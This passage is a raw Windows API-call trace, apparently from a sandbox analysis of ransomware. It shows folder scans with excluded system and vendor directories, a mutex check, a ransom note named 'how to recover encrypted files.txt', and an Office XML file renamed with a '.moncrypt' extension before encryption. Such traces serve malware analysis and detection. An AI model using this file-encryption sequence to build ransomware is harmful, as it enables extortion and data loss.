cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@∜R企@\x18?T\x18y")) returned 0xffffffff [0048.729] GetLastError () returned 0x2 [0048.729] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\") returned 0x59 [0048.729] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b40, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0048.729] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0048.729] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@劔U企@\x18?T\x18\x81")) returned 0xffffffff [0048.729] GetLastError () returned 0x2 [0048.729] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\") returned 0x59 [0048.729] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b40, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0048.729] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0048.729] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@坜U企@\x18?T\x18\x88")) returned 0xffffffff [0048.730] GetLastError () returned 0x2 [0048.730] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\") returned 0x59 [0048.730] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b40, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0048.730] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0048.730] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@∜R企@\x18?T\x18\x8f")) returned 0xffffffff [0048.730] GetLastError () returned 0x2 [0048.730] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\") returned 0x59 [0048.730] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b40, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0048.730] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0048.731] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@劔U企@\x18?T\x18\x97")) returned 0xffffffff [0048.731] GetLastError () returned 0x2 [0048.731] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\") returned 0x59 [0048.731] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b40, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0048.731] GlobalLock (hMem=0x440004) returned 0x555860 [0048.731] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.731] GlobalUnlock (hMem=0x440004) returned 0 [0048.731] GlobalLock (hMem=0x440004) returned 0x555860 [0048.731] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.731] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.731] GlobalUnlock (hMem=0x440004) returned 0 [0048.731] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.731] GlobalUnlock (hMem=0x44000c) returned 0 [0048.731] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\") returned 0x59 [0048.731] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.731] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0048.732] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\") returned 0x59 [0048.732] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0048.732] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0048.732] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\") returned 0x59 [0048.732] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.732] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0048.732] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\") returned 0x59 [0048.732] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0048.732] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c00, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0048.732] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.732] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.732] GlobalUnlock (hMem=0x44000c) returned 0 [0048.732] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.732] GlobalLock (hMem=0x440004) returned 0x557870 [0048.732] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.732] GlobalUnlock (hMem=0x44000c) returned 0 [0048.732] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.732] GlobalUnlock (hMem=0x440004) returned 0 [0048.733] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\") returned 0x59 [0048.733] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0048.733] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\") returned 0x59 [0048.733] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b40, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0048.733] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\") returned 0x59 [0048.733] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b40, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0048.733] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\") returned 0x59 [0048.733] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0048.733] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\") returned 0x59 [0048.733] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0048.734] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\") returned 0x59 [0048.734] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b40, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0048.734] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\") returned 0x59 [0048.734] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b40, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0048.734] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\") returned 0x59 [0048.734] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b40, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0048.734] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\", cchLength=0x59 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\") returned 0x59 [0048.734] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0048.734] GlobalLock (hMem=0x440004) returned 0x555860 [0048.734] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.734] GlobalUnlock (hMem=0x440004) returned 0 [0048.734] GlobalLock (hMem=0x440004) returned 0x555860 [0048.734] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.734] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.734] GlobalUnlock (hMem=0x440004) returned 0 [0048.734] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.734] GlobalUnlock (hMem=0x44000c) returned 0 [0048.735] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.735] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.735] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="PROPLU~1.XML")) returned 1 [0048.735] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.735] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.735] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.735] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.735] GlobalUnlock (hMem=0x44000c) returned 0 [0048.735] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.735] GlobalLock (hMem=0x440004) returned 0x557870 [0048.735] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.735] GlobalUnlock (hMem=0x44000c) returned 0 [0048.735] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.735] GlobalUnlock (hMem=0x440004) returned 0 [0048.735] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.735] CharLowerBuffW (in: lpsz="ProPlusrWW.XML", cchLength=0xe | out: lpsz="proplusrww.xml") returned 0xe [0048.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0048.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", cchWideChar=103, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpUsedDefaultChar=0x0) returned 103 [0048.736] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0048.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpUsedDefaultChar=0x0) returned 4 [0048.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.736] WriteFile (in: hFile=0x190, lpBuffer=0x1e61da8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61da8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0048.737] CloseHandle (hObject=0x190) returned 1 [0048.738] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\я")) returned 1 [0048.738] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="PROPLU~1.XML")) returned 0x54e280 [0048.739] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.739] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.739] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", dwFileAttributes=0x20) returned 1 [0048.751] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.751] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.moncrypt")) returned 1 [0048.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.751] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.752] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, 